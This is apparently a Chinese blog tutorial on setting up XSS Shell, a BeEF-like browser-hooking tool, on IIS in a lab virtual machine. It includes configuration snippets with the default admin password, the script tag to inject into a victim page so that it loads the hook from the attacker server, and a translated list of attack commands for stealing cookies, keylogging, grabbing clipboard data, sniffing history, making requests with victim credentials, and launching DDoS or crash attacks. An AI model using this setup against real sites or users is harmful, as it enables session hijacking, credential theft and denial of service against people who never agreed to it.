XSS Shell环境搭建及功能介绍

Author Avatar
ssssdl 3月 19, 2019

感觉网上这个工具的介绍相对BeEF好像比较少,我自己搭建的时候也走了很多弯路

0x00 环境

因为这是一个asp的工具,所以这里我采用了一个Windows server 2008 R2 的系统(Windows7什么的也可以)、IIS7的服务器,然后XSS shell来自GitHub,然后因为XSS Shell会将攻击取得的一些数据存入一个shell.mdb的文件,因此如果需要分析的话也需要一个MS Access,但是其实我觉得没有的话也完全没问题,因为我觉得这种工具都是在用户打开被攻击的网页时的一种实时攻击。shell.mdb也可以随时拷到可以分析的机器上。所以攻击服务器上没有也完全没有问题。(说的有点啰嗦)

0x01 配置

IIS配置(如果IIS已经搭好可以跳过)

IIS这个东西可真是令人头大,图形界面真是好用~ 。。。。。。。。。。。。个锤子!

直接虚拟机装一个Windows server 2008 R2,然后会默认打开一个初始配置任务,里面自定义此服务器,选择添加角色,然后弹出的面板上面选上IIS,下一步,选上一些关于asp的拓展(ASP,ISAPI扩展,ASP.NET,.NET扩展等),然后安装。然后注意连接的用户要对目录有操作权限,不然可能实验的时候被攻击的浏览器已经打开含有XSS的网页,但是管理员端不显示上线。

注意:以上配置完成后要打开IIS管理器,点击应用程序池,选择右侧的设置应用程序池默认设置,然后把启用32位程序改成ture!

XSS Shell相关配置。

  1. 解压GitHub上下载下来的压缩包。有一个XSS Shell的文件夹,存放XSS Shell的asp网站,和监听工具XSSTunnel和这个工具的介绍的PDF文件。

  2. 打开IIS管理器,打开default web site浏览一下看看网站是否正常运行。如果网页上出现了IIS的logo,没什么异常,就打开default web site的本地目录(默认C:\inetpub\wwwroot),然后把原来的文件删掉(或者备份),把刚才解压出来的XSS shell目录下的文件拷到web目录下。然后把db文件夹剪切到其他不能web访问的目录比如C盘根目录下。

  3. 接下来开始配置需要配置的文件有xssshell.asp和admin/db.asp

    admin/db.asp 这里改成刚才剪切走的db文件夹的位置

    1
    2
    '// DATABASE CONFIGURATION
    Const DBPATH = "C:\db\shell.mdb"

admin/db.asp 这里w00t是默认密码,可以根据自己的阿需要修改

1
2
3
4
5
'// Set Session + password is Case Sensitive
If Pass <> "" Then
If Trim(Pass) = "w00t" Then Session("level") = "ok"
'Response.Redirect ""
End If

xssshell.asp 这里是服务器的链接

1
2
3
4
5
6
7
8
9
10
11
// You XSSShell Server
var SERVER = "http://192.168.153.132/";

// This file's name
var ME = SERVER + "xssshell.asp?p=1<%=VicAdd%>" ;

// Connector file
var CONNECTOR = SERVER + "admin/connector.asp";

// Commands file
var COMMANDS_URL = SERVER + "admin/commands.asp";

到这里关于xss shell的基本的配置就完成了,xss shell还为我们准备了一个测试页面(/sample_victim目录下的页面),需要接下来的配置。打开/sample_victim/Default.asp大概在九十几行的位置

1
2
3
<script src="http://www.xssshelltest.com:60000/xssshell.asp"></script>
//改成你已经配置好的服务器地址
<script src="http://192.168.153.132/xssshell.asp"></script>

到这里服务器的配置就基本完成了,接下来用其他的浏览器(server 2008自带的浏览器不知道为什么刷新不出内容)打开http://192.168.153.132/admin

0x02 使用介绍

直接翻译,就不解释每个模块都是干什么了

直接上翻译好的界面,点一下左边的命令受害主机就会执行相应的操作,显示在日志里面,然后有一些比较长的内容点击一下会显示在下面的查看器里面,然后想alert()这种需要参数的,可以写在下面的参数模块里面。。。感觉也没什么好说的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
getCookie()  //获取cookie
Get victims active cookie
getSelfHtml() //获取页面html,结果是16进制编码过的
Get victim's current page HTML Code
alert(<message>) // 弹框 , 要添加弹框的内容
Send message to victim
eval(<javascript code>) //执行js
Execute virtually anything in JS
prompt(<question>) //弹输入框,添加弹框的标题,会把受害者的输入写在log里面,有点聊天的感觉
Play Truth or Dare
getKeyloggerData()//键盘记录,有时候可能没什么效果
Get keylogger data
getMouseLog() //获取鼠标点击,和键盘记录一样,有时候可能没有效果
Get mouse log (every click in screen)
getClipboard() //获取剪切板数据,仅限IE
Get clipboard data (only IE)
getInternalIP() // 获取内网IP
Get internal IP address (only Mozilla* + JVM)
checkVisitedLinks(<url list>) //应该是测试受害者是否访问过某网址的(参数是url),但是好像也并不怎么准
Check victim's history (seperated by new line)
getPage(<Relative URL Path>) //用受害者的平局请求某网页,这个得到的网页不是16进制的,不同源会被拦截掉(火狐:已拦截跨源请求:同源策略禁止读取位于 https://www.bilibili.com/bangumi/play/ep62691v 的远程资源。(原因:CORS 请求未能成功))
Make a request with victim credentials
DDoS(<url>) \\DDos 某URL(参数) 这个原理好像就是上一篇博客里面最后那个大佬的博客里面的原理(这句话有点绕)
Distributed Denial of Service attack (use {RANDOM} in URL to avoid caching)
Crash() \\崩溃当前网页,一般不会cpu占用太高(使用7700HQ测试,cpu内心毫无波动,就是网页崩掉了)
Consume victim's CPU and force to crash/close.
GetLocation() \\获取当前URL (应该就是被攻击者XSS攻击的URL)
Get current URL of victim.

以上测试被攻击者是火狐,admin在谷歌。其他浏览器。。。未测试。。。